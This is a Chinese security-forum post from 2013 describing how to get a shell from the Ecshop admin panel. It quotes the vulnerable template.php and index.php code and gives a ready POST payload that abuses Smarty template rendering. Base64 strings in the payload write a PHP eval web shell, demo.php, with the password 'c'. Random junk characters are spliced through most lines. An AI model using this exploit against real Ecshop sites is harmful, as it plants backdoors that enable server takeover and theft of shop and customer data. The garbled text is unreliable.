找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2872|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
$ I- {$ C  l% Z, L* r) r' v) X; A7 a
; j" \8 s6 D/ x- |& c而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了, z; h* b$ z" k$ y8 `5 \
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码' N0 G( g& f) d2 f  }
admin/template.php0 s1 V, O/ m5 g( b3 A+ K

( C$ {! `  W, ~, T# K1 if ($_REQUEST['act'] == 'update_library') : ~; o; Y' _9 Z( t. J) j

* v2 m' }: _, @  z7 ^% Y2   
2 W# U% X4 d; F% m* K, x3 K0 c' v  ]2 N+ O
; H7 u1 q. r& d$ j3 I3 {
! s0 \  G7 B# H0 N/ E/ w
8 F5 \4 H, g8 u5 J4     check_authz_json('library_manage'); - i# |; {+ ~6 t" g; Q: F( w
& _( m* Y3 g0 S, c
5   ! N  Q; v7 x0 L3 z
" O# g7 T5 T' j, p
6     $html = stripslashes(json_str_iconv($_POST['html'])); * C4 ]+ r9 l1 g% H0 r: q8 G
0 R1 F3 {) [" k. x; I: c
7   / {2 E1 I8 l5 Q# W6 O

: L4 g5 O) k; G( j6 ]; r0 H; b% L& i8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
. [: F2 W1 Q* n! l
+ `! H' t: y! l3 \8 Q2 G9   
$ S# _+ F' w; \: M1 v! T1 P9 O. C* }
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
3 x' m+ s6 k. F) a$ o6 O% j
; [' C3 J+ p' |8 {; @9 _/ Z4 c11   8 L$ Z% J5 J8 B2 V; f
$ Q+ Z- d1 ]( S2 [/ X% q
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
+ T$ J1 v! G( s( }7 Q/ i
2 c4 f0 s! t; N" W; I6 n+ ?13   
( q3 \4 b  V) l1 _9 k+ J
! }  g5 f/ Z4 V14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
+ q3 y0 ^; o, _& j! v
) K0 t0 q' @3 O* _7 S. Q4 l15     {
( X( t8 c2 x2 z0 S# a$ }/ c# u+ C' ~- N, z$ H' F' V
16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html); ( q/ z4 \( T7 F# I' |. s2 h
* U& F  w3 I8 R* `6 c) ?
17         make_json_result('', $_LANG['update_lib_success']); 8 f# O( R% h2 X# a3 r% W9 M+ j" y

' R$ a  U1 r) F5 j18     } 9 l% x& l" s0 r

- N$ @# Y) U8 K9 @/ I6 |9 S# O19     else 0 E* U6 T& ^' n9 f

5 A2 d4 Y" }( r% G, t20     {
( Y- P" l. [8 f4 D8 k4 g5 A- ^
0 `  g; ~' h+ k. ~" h& K6 j# {1 P! A21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
2 ^/ p% t1 I6 y" i  ?5 M, a6 F0 _' r% [) B+ @
22     }
) Q6 o; }9 v' C, w) Q: ~* z$ p/ b& E* T! Y/ w
23 } - G4 Q+ j5 U' B3 _3 k# g: S  Q

2 F% B4 b" K7 g$ E2 a6 @* T那么找个比较方便调用了模板的文件* T4 X; m1 u3 j3 @
index.php
' k- S- j! }5 U: ]  f# v, y
4 Q. f' Y2 f; O5 k' e1 if ($act == 'cat_rec')
- x9 R% ]7 R$ ]6 Q1 W2 H6 r& g2 \, g! W, o
2   
. g! B, U& j  w! P  L, c+ i8 x/ L$ U+ B3 ?* Z9 x
3 {
3 D0 `5 {7 {' B2 V
* z+ v. u9 D2 r9 b4   3 Z# B# N6 V7 E' r1 T: }
% h1 g8 R# r1 Y+ j$ u1 h
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');   Z. s8 {7 \4 w: ^% @6 J& w) k
) Q3 Z" P  f, N: j1 W9 V
6   
- t' c( I3 R( h& z/ p
5 q* s+ Z6 y' V& Y+ w3 T7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
5 o# w4 t1 ]' n7 ~8 z0 m- d+ w* O" A6 d7 Q
8   8 Z7 ~# ~6 ?  M, H# D1 v  z6 p
9 a1 U1 S6 S' W! T% [4 ^6 A
9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';
, P# d! T- W* m( \: x+ j; h0 S/ l: z9 a0 d' B7 E
10   " p. c# J! i) p- ]7 Z
& m" n- E/ m/ F
11     include_once('includes/cls_json.php'); 2 C; X# d8 G1 |# K; t1 D

( D0 z2 M7 a. E* u- ]12   
( {9 n( z; B9 U+ n7 u( c* L9 b; i) D) A; n  C; a
13     $json = new JSON;
% M9 s) q$ v) M% f( n7 j/ o/ `' D3 T( i
14   # F1 P. V* g! _8 ]2 j: B
( P9 W3 ?7 }6 c
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 1 I& j6 p3 S( t

" D7 g% y) b& z8 D16   " \6 R+ N# C. u# c( U- R
3 B4 c+ f7 ]0 ~, b% [( h0 O
17     $children = get_children($cat_id); $ F$ w: x2 O* z9 ^3 {& o& k
) |- A, r& x6 n
18   
4 ~7 n3 R! A4 }2 h) k- F4 Z6 D% s( R( H  s$ Q8 A- l
19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品 + y+ l- D; l7 @4 H+ Z
( j) W7 N5 z! S: A. |, ?
20   ' G9 F  j9 ^* V9 z( {  P/ l8 l5 |" Z
1 E- C, B( ~! C
21     $smarty->assign('cat_rec_sign', 1);
7 Q& f8 o4 J- ~( @3 y: {% A5 W- M- o- {2 k, M2 X
22   6 L) H2 m% ~4 p! d# q* g

7 ^0 J! V1 g- R23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best & f7 ^' n* ]5 P% Q- L7 j
, `0 v0 D; G6 P0 v: X3 a
24   
: Y/ L% \1 w! t9 X3 X% E
: x, F1 J* [/ F' ^) v0 V25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
# p7 _8 H1 y) M
) k7 ]1 ^- P; Z/ F( d26   
& J4 e, C! _5 O; ]
- n0 s' k' ^# T27         echo $rec_array[$rec_type]; . a3 m6 B; b9 p+ P$ J( C

4 ^" z' q4 l: E28   - Y2 O8 w/ Z8 i- J( f3 M
7 j' s1 r& [& O1 j: `
29     die($json->encode($result)); ; Y$ g+ T& I9 @' ?, M7 p

, a, U: Z' ^1 U% n30   / W2 s4 C0 S  \+ m7 C; u
" u" c; v# j' z2 K
31 } 8 Q4 F- H! M" M$ W* W

# B: S* a* \# q$ J& E  I那么就有利用方法了6 R; r" L* w/ \1 a  c/ g
post包到http://localhost/ec/admin/template.php?act=update_library
* `' u1 _( P9 g) \: t$ t1 r/ mPost内容:" Y: ~" j, n7 m, P

  |" A8 X0 y9 B/ U9 R7 I- }* F' y2 W4 z( L2 y1 f
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} - _& d% A% Z* o1 i4 h9 z+ ~

3 \$ T9 Q- N! c8 {1 h" m3 t然后访问http://localhost/ec/index.php?act=cat_rec9 M+ g8 x, h  B# c+ n4 p- O

1 t( w) i- ~% o- N0 bshel地址:http://localhost/ec/demo.php: O& _# p: S3 c' d9 M$ B; z- e
密码c5 Z# d& t" k/ X

$ @' o1 Y/ x& n. e! o. G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表